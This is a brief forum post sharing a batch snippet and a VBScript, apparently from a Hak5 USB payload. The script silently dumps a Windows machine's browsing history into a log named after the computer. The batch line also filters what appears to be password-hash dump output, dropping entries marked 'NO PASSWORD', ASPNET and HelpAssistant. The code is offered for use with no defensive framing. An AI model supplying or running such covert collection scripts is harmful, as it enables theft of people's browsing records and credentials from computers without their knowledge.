Not sure if this helps found this on the Hak5 forum maybe it helps
Part 1
you need to amend it for your batch file
cscript //nologo .\DUH.vbs >> ..\..\Documents\logfiles\%computername%.log 2>&1
TYPE ..\..\Documents\logfiles\%computername%.log | find ":::" | find /V "NO PASSWORD" | find /V "ASPNET" | find /V "HelpAssistant" >> ..\..\Documents\logfiles\%computername%.log
Part 2
.vbs file
on error resume next
set sh = createobject("Shell.Application")
const ssfHISTORY = 34
set history = sh.NameSpace(ssfHISTORY)
for each item in history.items
wscript.echo history.GetDetailsOf(item,-1)
if item.isFolder then
set itFol = item.GetFolder
for each item2 in itFol.items
wscript.echo vbtab & itFol.GetDetailsOf(item2,-1)
Next
wscript.echo String (80,"-")
end if
next
Keep the vbs file in the same directory as the batch